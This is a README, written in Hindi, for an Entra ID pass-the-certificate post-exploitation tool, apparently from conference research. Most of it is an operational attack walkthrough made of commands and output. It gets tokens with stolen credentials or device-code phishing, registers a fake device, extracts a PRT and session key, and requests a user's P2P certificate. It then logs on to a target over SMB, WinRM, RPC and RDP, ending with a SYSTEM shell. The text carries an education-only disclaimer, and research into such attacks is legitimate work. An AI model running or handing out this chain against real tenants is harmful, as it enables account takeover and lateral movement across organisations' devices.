
Entra ID के P2P प्रमाणपत्र का अनुरोध करने और इसके साथ दूरस्थ Entra-जुड़े डिवाइसों पर प्रमाणीकरण करने के लिए उपकरण
EntraPassTheCert एक पोस्ट-एक्सप्लॉइटेशन टूल है जो हमलावरों को Entra ID के उपयोगकर्ता P2P प्रमाणपत्र का अनुरोध करने और इसके साथ किसी दूरस्थ Entra joinned मशीन पर प्रमाणित होने की अनुमति देता है।
$ python3 entraptc.py -h
usage: entraptc.py [-h] [--debug] {request_p2pcert,smb,rdp,winrm,rpc} ...
post-exploitation tool for requesting p2p cert and authenticate with it
positional arguments:
{request_p2pcert,smb,rdp,winrm,rpc}
Available commands
request_p2pcert request P2P cert with PRT and SessionKey
smb SMB to Entra joinned machine with P2P cert
rdp RDP to Entra joinned machine with P2P cert
winrm WinRM to Entra joinned machine with P2P cert
rpc RPC to Entra joinned machine with P2P cert
options:
-h, --help show this help message and exit
--debug debug option
यह कोड मौजूदा बेहतरीन टूल्स के आधार पर बनाया गया है।
यह टूल Troopers 2025 में प्रस्तुत किया गया है:
हॉपिंग एक्रॉस डिवाइसेस: पास-द-सर्टिफिकेट अटैक के माध्यम से लेटरल मूवमेंट का विस्तार
सबसे पहले, किसी भी खाते के क्रेडेंशियल के साथ आवश्यक Microsoft Entra टोकन प्राप्त करें जिसके पास लक्षित डिवाइस पर स्थानीय व्यवस्थापक (local administrator) पहुंच हो।
$ roadtx gettokens -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e -u globaladmin@***.onmicrosoft.com -p $PASSWORD
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
Tokens were written to .roadtools_auth
यदि आपके पास क्रेडेंशियल नहीं हैं, तो आप टोकन प्राप्त करने के लिए devie-code फ़िशिंग भी निष्पादित कर सकते हैं।
$ roadtx gettokens --device-code -r devicereg -c 29d9ed98-a469-4536-ade2-f981bc1d605e
Requesting token for resource urn:ms-drs:enterpriseregistration.windows.net
To sign in, use a web browser to open the page https://microsoft.com/devicelogin and enter the code HGCUCJ6CS to authenticate.
Tokens were written to .roadtools_auth
इसके बाद, Entra ID में एक नकली डिवाइस पंजीकृत करें।
$ roadtx device -a join -n fake_device
Saving private key to fake_device.key
Registering device
Device ID: 0d9d2d66-7343-4bf2-a3dd-377c9e1e6244
Saved device certificate to fake_device.pem
फिर, पंजीकृत डिवाइस का उपयोग करके, PRT और session key का अनुरोध करें।
$ REFRESHTOKEN=(`cat .roadtools_auth | jq -r .refreshToken`)
$ roadtx prt -c fake_device.pem -k fake_device.key -r $REFRESHTOKEN
Obtained PRT: 1.AT0A7mRQZ....
Obtained session key: fabd04bf017c526fd...
Saved PRT to roadtx.prt
एक बार जब आपको PRT और session key मिल जाए, तो आप उपयोगकर्ता के P2P प्रमाणपत्र का अनुरोध कर सकते हैं।
$ PRT=(`cat roadtx.prt | jq -r .refresh_token`)
$ SESSIONKEY=(`cat roadtx.prt | jq -r .session_key`)
$ python3 entraptc.py request_p2pcert --prt $PRT --sessionkey $SESSIONKEY
[*] requesting P2P cert...
[+] successfully acquired P2P cert!
[*] here is your p2p cert pfx : p2pcert.pfx (pw: password)
आप P2P प्रमाणपत्र का उपयोग करके निम्नानुसार Entra joinned मशीन पर प्रमाणित हो सकते हैं।
$ python3 entraptc.py smb --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via SMB...
[+] sucessfully logged-on to the system!
Type help for list of commands
# shares
ADMIN$
C$
IPC$
# use C$
# ls
drw-rw-rw- 0 Fri May 30 15:52:50 2025 $Recycle.Bin
drw-rw-rw- 0 Sat Apr 19 01:54:46 2025 Documents and Settings
-rw-rw-rw- 12288 Sun Jun 15 10:45:59 2025 DumpStack.log.tmp
drw-rw-rw- 0 Fri May 30 09:06:09 2025 inetpub
-rw-rw-rw- 738197504 Sun Jun 15 10:45:58 2025 pagefile.sys
drw-rw-rw- 0 Sat Apr 19 02:49:28 2025 PerfLogs
drw-rw-rw- 0 Tue Jun 10 14:58:44 2025 Program Files
drw-rw-rw- 0 Tue May 27 15:59:56 2025 Program Files (x86)
drw-rw-rw- 0 Tue Jun 10 14:54:46 2025 ProgramData
drw-rw-rw- 0 Sat Apr 19 01:53:41 2025 Recovery
-rw-rw-rw- 16777216 Sun Jun 15 10:45:59 2025 swapfile.sys
drw-rw-rw- 0 Fri May 30 09:39:44 2025 System Volume Information
drw-rw-rw- 0 Fri May 30 15:52:23 2025 Users
drw-rw-rw- 0 Wed Jun 11 09:30:27 2025 Windows
$ python3 entraptc.py winrm --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via WinRM...
[+] sucessfully logged-on to the system!
C:\Users\admin> whoami
azuread\admin
$ python3 entraptc.py rpc --target 192.168.153.133 --pfx p2pcert.pfx
[*] connecting to 192.168.153.133 via RPC...
[+] sucessfully logged-on to the system!
C:\Windows\System32>whoami
nt authority\system
$ python3 entraptc.py rdp --username globaladmin@***.onmicrosoft.com --password $PASSWORD --target 192.168.153.133 --pfx p2pcert.pfx
यह प्रोजेक्ट केवल शैक्षिक और शोध उद्देश्यों के लिए प्रदान किया गया है।
यह सुरक्षा पेशेवरों, शोधकर्ताओं और छात्रों को संभावित हमले के वैक्टर को समझने और रक्षात्मक उपायों को बेहतर बनाने में मदद करने के लिए है।
https://medium.com/@mor2464/azure-ad-pass-the-certificate-d0c5de624597